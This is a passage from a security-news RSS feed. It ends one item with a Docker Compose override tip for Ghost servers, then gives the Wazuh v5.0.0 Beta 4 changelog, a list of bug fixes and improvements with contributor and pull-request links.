<description><![CDATA[Modifying your docker-compose.yml directly and now git pull throws a "local changes would be overwritten" error? Use a compose.override.yml file to keep your changes separate from the file Ghost's repo manages.]]></description>
<link>https://tsecurity.de/de/3683935/linux-tipps/git-pull-kept-failing-on-my-ghost-server-docker-compose-override-fixed-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683935/linux-tipps/git-pull-kept-failing-on-my-ghost-server-docker-compose-override-fixed-it/</guid>
<pubDate>Tue, 21 Jul 2026 15:54:15 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Modifying your docker-compose.yml directly and now git pull throws a "local changes would be overwritten" error? Use a compose.override.yml file to keep your changes separate from the file Ghost's repo manages.]]></content:encoded>
</item>
<item>
<title><![CDATA[Wazuh v5.0.0 Beta 4]]></title>
<description><![CDATA[What's Changed

fix: persist engine startup state for CMSync route logging by @jam300 in #37356
Fix invalid MTU value reported for Windows network interfaces by @vikman90 in #37394
Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by @lchico in #37414
Suppress version-coordination...]]></description>
<link>https://tsecurity.de/de/3683727/it-security-tools/wazuh-v500-beta-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683727/it-security-tools/wazuh-v500-beta-4/</guid>
<pubDate>Tue, 21 Jul 2026 14:50:03 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix: persist engine startup state for CMSync route logging by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4791733554" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37356" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37356/hovercard" href="https://github.com/wazuh/wazuh/pull/37356">#37356</a></li>
<li>Fix invalid MTU value reported for Windows network interfaces by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4803040708" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37394" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37394/hovercard" href="https://github.com/wazuh/wazuh/pull/37394">#37394</a></li>
<li>Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807506800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37414" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37414/hovercard" href="https://github.com/wazuh/wazuh/pull/37414">#37414</a></li>
<li>Suppress version-coordination WARNINGs on stop/unavailable module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4794436123" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37372" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37372/hovercard" href="https://github.com/wazuh/wazuh/pull/37372">#37372</a></li>
<li>Clarify security policy for pre-release versions and disclosure timeline by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4818245095" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37423" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37423/hovercard" href="https://github.com/wazuh/wazuh/pull/37423">#37423</a></li>
<li>Bump 5.0.0 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820838366" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37429" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37429/hovercard" href="https://github.com/wazuh/wazuh/pull/37429">#37429</a></li>
<li>wazuh-manager: Memory and copy-reduction improvements part 1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677386441" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36979" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36979/hovercard" href="https://github.com/wazuh/wazuh/pull/36979">#36979</a></li>
<li>Improve default cores detection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4770907500" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37288" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37288/hovercard" href="https://github.com/wazuh/wazuh/pull/37288">#37288</a></li>
<li>Standardize and verify Wazuh configuration documentation  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806420763" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37411" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37411/hovercard" href="https://github.com/wazuh/wazuh/pull/37411">#37411</a></li>
<li>Handle rootcheck removed tags by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788149250" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37346" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37346/hovercard" href="https://github.com/wazuh/wazuh/pull/37346">#37346</a></li>
<li>Update docs (agent) for the new password in manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4816394475" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37420" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37420/hovercard" href="https://github.com/wazuh/wazuh/pull/37420">#37420</a></li>
<li>Backport the workflow for generating pre-release agent issues to version 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4827403310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37490" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37490/hovercard" href="https://github.com/wazuh/wazuh/pull/37490">#37490</a></li>
<li>Upgrade 5.0.0 python dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793328371" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37361" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37361/hovercard" href="https://github.com/wazuh/wazuh/pull/37361">#37361</a></li>
<li>Change indexer user name and password by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4831885135" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37502" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37502/hovercard" href="https://github.com/wazuh/wazuh/pull/37502">#37502</a></li>
<li>Remove startup deprecation warning from cluster_control and agent_upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4835362636" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37509" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37509/hovercard" href="https://github.com/wazuh/wazuh/pull/37509">#37509</a></li>
<li>Change indexer username and password to wazuh-manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839278273" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37520" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37520/hovercard" href="https://github.com/wazuh/wazuh/pull/37520">#37520</a></li>
<li>Fix to improve fim_sync db performance. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744034552" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37180" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37180/hovercard" href="https://github.com/wazuh/wazuh/pull/37180">#37180</a></li>
<li>SCA/FIM sync lifecycle: close DBs on graceful shutdown, defer coordination during first sync, and increment SCA check version on change by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790097835" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37353" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37353/hovercard" href="https://github.com/wazuh/wazuh/pull/37353">#37353</a></li>
<li>Fix version comparison in indexer documents updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830108432" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37498" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37498/hovercard" href="https://github.com/wazuh/wazuh/pull/37498">#37498</a></li>
<li>Propagate sync errors to each module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752961563" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37212" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37212/hovercard" href="https://github.com/wazuh/wazuh/pull/37212">#37212</a></li>
<li>Cache indexer credentials in clusterd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832215168" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37504" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37504/hovercard" href="https://github.com/wazuh/wazuh/pull/37504">#37504</a></li>
<li>Standardize CHANGELOG format and keep prior versions in the bumper by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4835667651" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37513" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37513/hovercard" href="https://github.com/wazuh/wazuh/pull/37513">#37513</a></li>
<li>Warn on duplicate agent connection only when it persists by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4827846696" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37493" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37493/hovercard" href="https://github.com/wazuh/wazuh/pull/37493">#37493</a></li>
<li>Backport: Lower DBSync-not-available shutdown messages to DEBUG to 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856788396" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37567" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37567/hovercard" href="https://github.com/wazuh/wazuh/pull/37567">#37567</a></li>
<li>Add retry logic to indexer templates download by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4874928399" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37643" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37643/hovercard" href="https://github.com/wazuh/wazuh/pull/37643">#37643</a></li>
<li>Reduce authd enrollment log severity for expected rejections by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4846590749" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37540" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37540/hovercard" href="https://github.com/wazuh/wazuh/pull/37540">#37540</a></li>
<li>Reduce memory usage when downloading VDP feed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795745800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37375" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37375/hovercard" href="https://github.com/wazuh/wazuh/pull/37375">#37375</a></li>
<li>Fix server-side version bump for disconnected agent metadata updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877451955" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37647" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37647/hovercard" href="https://github.com/wazuh/wazuh/pull/37647">#37647</a></li>
<li>Re-enable AWS Inspector integration tests in 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MAnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MAnDumu">@MAnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876030241" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37645" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37645/hovercard" href="https://github.com/wazuh/wazuh/pull/37645">#37645</a></li>
<li>Fix sca internal limits by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824570694" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37438" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37438/hovercard" href="https://github.com/wazuh/wazuh/pull/37438">#37438</a></li>
<li>Silence untrustworthy FIM schema-validation errors during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4886428969" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37688" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37688/hovercard" href="https://github.com/wazuh/wazuh/pull/37688">#37688</a></li>
<li>Fix spurious ERROR/WARNING logs during agent shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4883034413" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37673" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37673/hovercard" href="https://github.com/wazuh/wazuh/pull/37673">#37673</a></li>
<li>Fix daemon stats for analysisd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840468288" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37525" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37525/hovercard" href="https://github.com/wazuh/wazuh/pull/37525">#37525</a></li>
<li>Resolve logging macro collisions and improve LogFn design (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790797410" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37354" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/37354/hovercard" href="https://github.com/wazuh/wazuh/issues/37354">#37354</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4802669894" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37393" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37393/hovercard" href="https://github.com/wazuh/wazuh/pull/37393">#37393</a></li>
<li>Enable authd in manager source-install integration test step by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890660615" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37693" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37693/hovercard" href="https://github.com/wazuh/wazuh/pull/37693">#37693</a></li>
<li>Stop <code>verify-agent-conf</code> from falsely warning on agent-only wodle blocks, without breaking their validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884638391" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37680" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37680/hovercard" href="https://github.com/wazuh/wazuh/pull/37680">#37680</a></li>
<li>Fixing CIS 6.1.9 rule impossible permission check for /etc/group- by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hossam1522/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hossam1522">@hossam1522</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252101380" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35405" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35405/hovercard" href="https://github.com/wazuh/wazuh/pull/35405">#35405</a></li>
<li>Lower connection socket error log to debug level in wazuh-agentd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MAnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MAnDumu">@MAnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4885894234" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37685" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37685/hovercard" href="https://github.com/wazuh/wazuh/pull/37685">#37685</a></li>
<li>Memory improvements part 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4822579091" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37433" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37433/hovercard" href="https://github.com/wazuh/wazuh/pull/37433">#37433</a></li>
<li>Fix make clean-deps failing when src/external is missing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4901090899" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37724" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37724/hovercard" href="https://github.com/wazuh/wazuh/pull/37724">#37724</a></li>
<li>fix date schema validation error in scheduled metrics by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4892142502" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37703" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37703/hovercard" href="https://github.com/wazuh/wazuh/pull/37703">#37703</a></li>
<li>Report failure when block-ip fails to block an IP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824776124" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37439" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37439/hovercard" href="https://github.com/wazuh/wazuh/pull/37439">#37439</a></li>
<li>Fix rename race on logcollector file status during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4891170282" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37695" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37695/hovercard" href="https://github.com/wazuh/wazuh/pull/37695">#37695</a></li>
<li>Calibrate log levels in router and vulnerability_scanner by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4902123164" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37731" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37731/hovercard" href="https://github.com/wazuh/wazuh/pull/37731">#37731</a></li>
<li>Adds AR Windows binary extension fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4828497169" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37496" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37496/hovercard" href="https://github.com/wazuh/wazuh/pull/37496">#37496</a></li>
<li>Lower httpsrv C++ standard from 20 to 17 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912257627" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37751" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37751/hovercard" href="https://github.com/wazuh/wazuh/pull/37751">#37751</a></li>
<li>Add new indexer API roles mapping by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910791091" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37746" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37746/hovercard" href="https://github.com/wazuh/wazuh/pull/37746">#37746</a></li>
<li>Fix Windows block-ip firewall-enabled check misfire and ineffective route fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4821040019" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37430" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37430/hovercard" href="https://github.com/wazuh/wazuh/pull/37430">#37430</a></li>
<li>Free rpm macro context to stop unbounded growth by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916015744" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37758" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37758/hovercard" href="https://github.com/wazuh/wazuh/pull/37758">#37758</a></li>
<li>Report modulesSync failure as debug during agent shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4886452693" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37689" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37689/hovercard" href="https://github.com/wazuh/wazuh/pull/37689">#37689</a></li>
